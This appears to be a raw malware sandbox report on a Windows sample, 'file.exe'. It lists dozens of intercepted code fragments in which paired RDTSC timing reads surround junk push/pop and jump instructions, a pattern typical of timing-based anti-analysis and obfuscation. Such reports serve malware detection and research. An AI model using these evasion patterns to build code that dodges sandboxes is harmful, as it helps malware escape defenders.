Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CBFDD second address: 13CBFF7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F256CC76B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F256CC76B66h 0x00000014 jns 00007F256CC76B66h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CBFF7 second address: 13CC007 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC599 second address: 13CC5B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B78h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCB5D second address: 13CCB80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F256CF66DDBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD39C second address: 13CD3B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F256CC76B6Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD3B6 second address: 13CD3DB instructions: 0x00000000 rdtsc 0x00000002 je 00007F256CF66DD6h 0x00000008 jmp 00007F256CF66DE7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD3DB second address: 13CD3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D765A second address: 13D7660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDF01 second address: 13DDF38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jo 00007F256CC76B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F256CC76B72h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F256CC76B73h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDF38 second address: 13DDF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDF3C second address: 13DDF55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jns 00007F256CC76B66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDF55 second address: 13DDF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F256CF66DDAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE35C second address: 13DE367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F256CC76B66h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE367 second address: 13DE36D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE36D second address: 13DE386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE66E second address: 13DE688 instructions: 0x00000000 rdtsc 0x00000002 je 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F256CF66DDCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE688 second address: 13DE68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE68C second address: 13DE6A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DE6A8 second address: 13DE6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF4A0 second address: 13DF4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F256CF66DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDAF0 second address: 13DDB02 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F256CC76B66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2FFA second address: 13E2FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E768C second address: 13E7690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7690 second address: 13E7696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7696 second address: 13E76A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F256CC76B6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD371 second address: 13FD379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD379 second address: 13FD37D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14017E2 second address: 14017EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402DE0 second address: 1402DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F256CC76B66h 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jc 00007F256CC76B6Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402DF7 second address: 1402DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402DFE second address: 1402E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F256CC76B66h 0x0000000a jmp 00007F256CC76B71h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F256CC76B66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402E22 second address: 1402E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409463 second address: 1409467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409467 second address: 140947B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F256CF66DD6h 0x0000000e jnc 00007F256CF66DD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140947B second address: 140948D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F256CC76B72h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140948D second address: 1409493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BBE6 second address: 140BBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BBEA second address: 140BC07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F256CF66DE5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BA98 second address: 140BA9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411E9A second address: 1411EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411EA5 second address: 1411EA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14106DE second address: 14106E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14106E2 second address: 14106F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F256CC76B66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14106F4 second address: 14106F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14106F8 second address: 14106FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A31 second address: 1410A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A37 second address: 1410A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A3B second address: 1410A6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F256CF66DD8h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F256CF66DE4h 0x00000014 jnp 00007F256CF66DD6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A6B second address: 1410A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F256CC76B66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C02 second address: 1410C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C0A second address: 1410C3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F256CC76B66h 0x0000000d jc 00007F256CC76B66h 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F256CC76B6Eh 0x0000001f pushad 0x00000020 jbe 00007F256CC76B66h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C3B second address: 1410C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C40 second address: 1410C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14164C5 second address: 14164CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14164CB second address: 14164CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14164CF second address: 14164DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F256CF66DE2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14164DF second address: 14164E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418B8C second address: 1418B96 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418B96 second address: 1418BC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F256CC76B75h 0x0000000f pushad 0x00000010 jnp 00007F256CC76B66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1427170 second address: 142718B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F256CF66DE3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142718B second address: 142718F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144A586 second address: 144A598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F256CF66DDDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144A598 second address: 144A5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F256CC76B66h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144945B second address: 144945F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449F99 second address: 1449FA3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449FA3 second address: 1449FB4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F256CF66DDCh 0x00000008 jg 00007F256CF66DD6h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449FB4 second address: 1449FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F256CC76B73h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007F256CC76B66h 0x0000001d jmp 00007F256CC76B6Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144A293 second address: 144A2AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F256CF66DE0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D2EF second address: 144D2F9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14512EF second address: 14512F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14512F3 second address: 14512FD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F256CC76B66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452CC5 second address: 1452CCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452CCB second address: 1452CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452CCF second address: 1452CDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452CDD second address: 1452CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452CE3 second address: 1452CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452CFA second address: 1452CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14547D0 second address: 14547DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F256CF66DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14547DA second address: 14547FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B70h 0x00000007 jmp 00007F256CC76B6Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14547FB second address: 1454801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1454801 second address: 1454816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B6Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53702BB second address: 53702C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53702C1 second address: 53702C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E454 second address: 136E45A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53703F8 second address: 5370418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov si, 0B41h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370418 second address: 5370445 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F256CF66DDCh 0x0000000c adc esi, 0AF90558h 0x00000012 jmp 00007F256CF66DDBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370445 second address: 5370449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370449 second address: 537044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537044D second address: 5370453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53704E0 second address: 537050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 224197CBh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F256CF66DE5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537050D second address: 537057C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 mov bl, cl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F25DDB3A640h 0x00000010 push 762327D0h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov eax, dword ptr [esp+10h] 0x00000020 mov dword ptr [esp+10h], ebp 0x00000024 lea ebp, dword ptr [esp+10h] 0x00000028 sub esp, eax 0x0000002a push ebx 0x0000002b push esi 0x0000002c push edi 0x0000002d mov eax, dword ptr [762C0140h] 0x00000032 xor dword ptr [ebp-04h], eax 0x00000035 xor eax, ebp 0x00000037 push eax 0x00000038 mov dword ptr [ebp-18h], esp 0x0000003b push dword ptr [ebp-08h] 0x0000003e mov eax, dword ptr [ebp-04h] 0x00000041 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000048 mov dword ptr [ebp-08h], eax 0x0000004b lea eax, dword ptr [ebp-10h] 0x0000004e mov dword ptr fs:[00000000h], eax 0x00000054 ret 0x00000055 jmp 00007F256CC76B6Bh 0x0000005a and dword ptr [ebp-04h], 00000000h 0x0000005e pushad 0x0000005f push eax 0x00000060 pushfd 0x00000061 jmp 00007F256CC76B6Bh 0x00000066 sub ecx, 19A843AEh 0x0000006c jmp 00007F256CC76B79h 0x00000071 popfd 0x00000072 pop ecx 0x00000073 jmp 00007F256CC76B71h 0x00000078 popad 0x00000079 mov edx, dword ptr [ebp+0Ch] 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f mov edi, 2BA3F9BEh 0x00000084 movsx ebx, si 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537057C second address: 537058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CF66DDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537058C second address: 53705CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, edx 0x0000000d jmp 00007F256CC76B76h 0x00000012 mov al, byte ptr [edx] 0x00000014 jmp 00007F256CC76B70h 0x00000019 inc edx 0x0000001a pushad 0x0000001b movzx eax, bx 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53705CF second address: 53705CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 test al, al 0x00000008 pushad 0x00000009 push edx 0x0000000a pushfd 0x0000000b jmp 00007F256CF66DDCh 0x00000010 adc ecx, 14664778h 0x00000016 jmp 00007F256CF66DDBh 0x0000001b popfd 0x0000001c pop esi 0x0000001d mov cl, dl 0x0000001f popad 0x00000020 jne 00007F256CF66D89h 0x00000026 mov al, byte ptr [edx] 0x00000028 jmp 00007F256CF66DE0h 0x0000002d inc edx 0x0000002e pushad 0x0000002f movzx eax, bx 0x00000032 push edi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
